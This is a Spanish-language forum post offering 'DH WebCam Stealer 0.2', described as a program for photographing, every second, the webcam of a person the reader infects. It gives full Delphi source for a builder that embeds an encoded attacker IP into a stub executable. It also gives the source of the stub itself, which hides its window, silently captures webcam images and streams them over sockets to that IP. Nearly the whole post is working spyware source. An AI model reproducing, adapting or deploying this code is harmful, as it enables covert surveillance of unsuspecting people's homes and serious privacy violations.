Un simple programa para capturar fotos cada 1 segundo de la webcam en la maquina de la persona que infecten.
Una imagen :
![]()
El servidor.
Si lo quieren bajar lo pueden hacer de aca.
Una imagen :
Código:
// DH WebCam Stealer 0.2
// (C) Doddy Hackman 2013
// Credits :
// Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
// Thanks to Cold Fuzion
unit webcam;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, sSkinManager, ComCtrls, sStatusBar, StdCtrls, sLabel, sRadioButton,
sButton, sEdit, sGroupBox, sPageControl, acPNG, ExtCtrls, ScktComp, Jpeg;
type
TForm1 = class(TForm)
sSkinManager1: TsSkinManager;
Image3: TImage;
sPageControl1: TsPageControl;
sTabSheet1: TsTabSheet;
sGroupBox2: TsGroupBox;
sGroupBox6: TsGroupBox;
sEdit1: TsEdit;
sGroupBox7: TsGroupBox;
sButton3: TsButton;
sTabSheet2: TsTabSheet;
sGroupBox3: TsGroupBox;
sGroupBox4: TsGroupBox;
sRadioButton1: TsRadioButton;
sRadioButton2: TsRadioButton;
sGroupBox5: TsGroupBox;
sButton1: TsButton;
sButton2: TsButton;
sTabSheet3: TsTabSheet;
sGroupBox1: TsGroupBox;
Image1: TImage;
sTabSheet4: TsTabSheet;
Image2: TImage;
sLabel1: TsLabel;
sStatusBar1: TsStatusBar;
Timer1: TTimer;
Timer2: TTimer;
ServerSocket1: TServerSocket;
ServerSocket2: TServerSocket;
procedure sButton1Click(Sender: TObject);
procedure sButton2Click(Sender: TObject);
procedure sButton3Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocket2ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure Timer1Timer(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
private
{ Private declarations }
conexion: TFileStream;
control: integer;
public
{ Public declarations }
end;
var
Form1: TForm1;
cantidad: string;
implementation
uses full;
{$R *.dfm}
// Functions
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer;
aca: string;
cantidad: integer;
begin
num := 0;
Result := '';
aca := '';
cantidad := 0;
if (opcion = 'encode') then
begin
cantidad := length(texto);
for num := 1 to cantidad do
begin
aca := IntToHex(ord(texto[num]), 2);
Result := Result + aca;
end;
end;
if (opcion = 'decode') then
begin
cantidad := length(texto);
for num := 1 to cantidad div 2 do
begin
aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
Result := Result + aca;
end;
end;
end;
procedure achicar(archivo, medir1, medir2: string);
// Credits :
// Based on : http://www.delphidabbler.com/tips/99
// Thanks to www.delphidabbler.com
var
bit3: Double;
bit2: TJpegImage;
bit1: TBitmap;
begin
try
begin
bit2 := TJpegImage.Create;
bit2.Loadfromfile(archivo);
if bit2.Height > bit2.Width then
begin
bit3 := StrToInt(medir1) / bit2.Height
end
else
begin
bit3 := StrToInt(medir2) / bit2.Width;
end;
bit1 := TBitmap.Create;
bit1.Width := Round(bit2.Width * bit3);
bit1.Height := Round(bit2.Height * bit3);
bit1.Canvas.StretchDraw(bit1.Canvas.Cliprect, bit2);
bit2.Assign(bit1);
bit2.SaveToFile(archivo);
end;
except
//
end;
end;
//
procedure TForm1.FormCreate(Sender: TObject);
begin
sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
sSkinManager1.SkinName := 'garnet';
sSkinManager1.Active := True;
end;
procedure TForm1.sButton1Click(Sender: TObject);
begin
try
begin
ServerSocket1.Open;
sStatusBar1.Panels[0].Text := '[+] Online';
Form1.sStatusBar1.Update;
end;
except
begin
sStatusBar1.Panels[0].Text := '[-] Error';
Form1.sStatusBar1.Update;
end;
end;
end;
procedure TForm1.sButton2Click(Sender: TObject);
begin
try
begin
ServerSocket1.Close;
sStatusBar1.Panels[0].Text := '[+] OffLine';
Form1.sStatusBar1.Update;
end;
except
begin
sStatusBar1.Panels[0].Text := '[-] Error';
Form1.sStatusBar1.Update;
end;
end;
end;
procedure TForm1.sButton3Click(Sender: TObject);
var
aca: THandle;
code: Array [0 .. 9999 + 1] of Char;
nose: DWORD;
stubgenerado: string;
lineafinal: string;
linea: string;
begin
aca := INVALID_HANDLE_VALUE;
nose := 0;
stubgenerado := 'stealer_ready.exe';
linea := '[ip]' + sEdit1.Text + '[ip]';
lineafinal := '[63686175]' + dhencode(linea, 'encode') + '[63686175]';
DeleteFile(stubgenerado);
CopyFile(PChar(ExtractFilePath(Application.ExeName)
+ '/' + 'Data/servernow.exe'), PChar
(ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);
StrCopy(code, PChar(lineafinal));
aca := CreateFile(PChar('stealer_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ,
nil, OPEN_EXISTING, 0, 0);
if (aca <> INVALID_HANDLE_VALUE) then
begin
SetFilePointer(aca, 0, nil, FILE_END);
WriteFile(aca, code, 9999, nose, nil);
CloseHandle(aca);
end;
sStatusBar1.Panels[0].Text := '[+] Done';
Form1.sStatusBar1.Update;
end;
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
contenido: string;
begin
contenido := Socket.ReceiveText;
if (Pos('0x3archivo', contenido) > 0) then
begin
conexion := TFileStream.Create(Copy(contenido, 11, length(contenido)),
fmCREATE or fmOPENWRITE and fmsharedenywrite);
ServerSocket2.Open;
end
else
begin
if (Pos('0x3acantid', contenido) > 0) then
begin
cantidad := Copy(contenido, 11, length(contenido));
end;
end;
end;
procedure TForm1.ServerSocket2ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
data: array [0 .. 9999] of Char;
otracantidad: integer;
begin
Timer1.Enabled := True;
while Socket.ReceiveLength > 0 do
begin
otracantidad := Socket.ReceiveBuf(data, Sizeof(data));
if otracantidad <= 0 then
begin
Break;
end
else
begin
conexion.Write(data, otracantidad);
end;
if conexion.Size >= StrToInt(cantidad) then
begin
conexion.Free;
Timer1.Enabled := False;
control := 0;
Break;
end;
end;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
control := 1;
end;
procedure TForm1.Timer2Timer(Sender: TObject);
begin
try
begin
if ServerSocket1.Active = True then
begin
if FileExists('screen.jpg') then
begin
if (sRadioButton1.Checked) then
begin
achicar('screen.jpg', '400', '400');
Image1.Picture.Loadfromfile('screen.jpg');
end
else
begin
Form2.Show;
achicar('screen.jpg', '1000', '1000');
Form2.Image1.Picture.Loadfromfile('screen.jpg');
end;
end;
end;
end;
except
//
end;
end;
end.
// The End ?Código:
// DH WebCam Stealer 0.2
// (C) Doddy Hackman 2013
// Credits :
// Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
// Thanks to Cold Fuzion
unit server;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, ScktComp, Jpeg;
type
TForm1 = class(TForm)
ClientSocket1: TClientSocket;
ClientSocket2: TClientSocket;
Timer1: TTimer;
Image1: TImage;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure capturar_webcam(filename: string);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
target: string;
webcam: hwnd;
const
control = WM_USER;
conec = control + 10;
conec2 = control + 52;
conec3 = control + 50;
conec4 = control + 25;
chau = control + 11;
implementation
FUNCTION capCreateCaptureWindowA(uno: PCHAR; dos: longint; tres: integer;
cuatro: integer; cinco: integer; seis: integer; siete: hwnd; ocho: integer)
: hwnd;
STDCALL EXTERNAL 'AVICAP32.DLL';
{$R *.dfm}
// Functions
procedure TForm1.capturar_webcam(filename: string);
// Webcam capture based on : http://delphimagic.blogspot.com.ar/2008/12/webcam-con-delphi-iii.html
// Thanks to Javier Par
var
imagen1: TBitmap;
imagen2: TJpegImage;
begin
try
begin
DeleteFile('1.bmp');
DeleteFile('1');
DeleteFile(filename);
webcam := capCreateCaptureWindowA
('Unknown_888', WS_CHILD OR WS_VISIBLE, Image1.Left, Image1.Top,
Image1.Width, Image1.Height, Form1.Handle, 0);
if not(webcam = 0) then
begin
SendMessage(webcam, conec, 0, 0);
SendMessage(webcam, conec2, 40, 0);
SendMessage(webcam, conec3, 1, 0);
SendMessage(webcam, conec4, 0, longint(PCHAR('1.bmp')));
SendMessage(webcam, chau, 0, 0);
webcam := 0;
RenameFile('1', '1.bmp');
imagen1 := TBitmap.Create;
imagen1.LoadFromFile('1.bmp');
imagen2 := TJpegImage.Create;
imagen2.Assign(imagen1);
imagen2.CompressionQuality := 100;
imagen2.SaveToFile(filename);
DeleteFile('1');
DeleteFile('1.bmp');
end;
imagen1.Free;
imagen2.Free;
end;
except
//
end;
end;
function regex(text: String; deaca: String; hastaaca: String): String;
begin
Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
SetLength(text, AnsiPos(hastaaca, text) - 1);
Result := text;
end;
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer;
aca: string;
cantidad: integer;
begin
num := 0;
Result := '';
aca := '';
cantidad := 0;
if (opcion = 'encode') then
begin
cantidad := Length(texto);
for num := 1 to cantidad do
begin
aca := IntToHex(ord(texto[num]), 2);
Result := Result + aca;
end;
end;
if (opcion = 'decode') then
begin
cantidad := Length(texto);
for num := 1 to cantidad div 2 do
begin
aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
Result := Result + aca;
end;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
ob: THandle;
code: Array [0 .. 9999 + 1] of Char;
nose: DWORD;
todo: string;
begin
Application.ShowMainForm := False;
ob := INVALID_HANDLE_VALUE;
code := '';
ob := CreateFile(PCHAR(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
OPEN_EXISTING, 0, 0);
if (ob <> INVALID_HANDLE_VALUE) then
begin
SetFilePointer(ob, -9999, nil, FILE_END);
ReadFile(ob, code, 9999, nose, nil);
CloseHandle(ob);
end;
todo := regex(code, '[63686175]', '[63686175]');
todo := dhencode(todo, 'decode');
target := regex(todo, '[ip]', '[ip]');
try
begin
ClientSocket1.Address := target;
ClientSocket1.Open;
end;
except
//
end;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
archivo: string;
envio: TFileStream;
dir: string;
begin
try
begin
if ClientSocket1.Active = True then
begin
dir := GetEnvironmentVariable('USERPROFILE') + '\';
chdir(dir);
if (FileExists('screen.jpg')) then
begin
DeleteFile('screen.jpg');
end;
capturar_webcam('screen.jpg');
archivo := dir + 'screen.jpg';
try
begin
ClientSocket1.Socket.SendText
('0x3archivo' + ExtractFileName(archivo));
envio := TFileStream.Create(archivo, fmopenread);
sleep(500);
ClientSocket1.Socket.SendText
('0x3acantid' + IntToStr(envio.Size));
envio.Free;
ClientSocket2.Address := target;
ClientSocket2.Open;
ClientSocket2.Socket.SendStream
(TFileStream.Create(archivo, fmopenread));
end;
except
//
end;
end;
end;
except
//
end;
end;
end.
// The End ?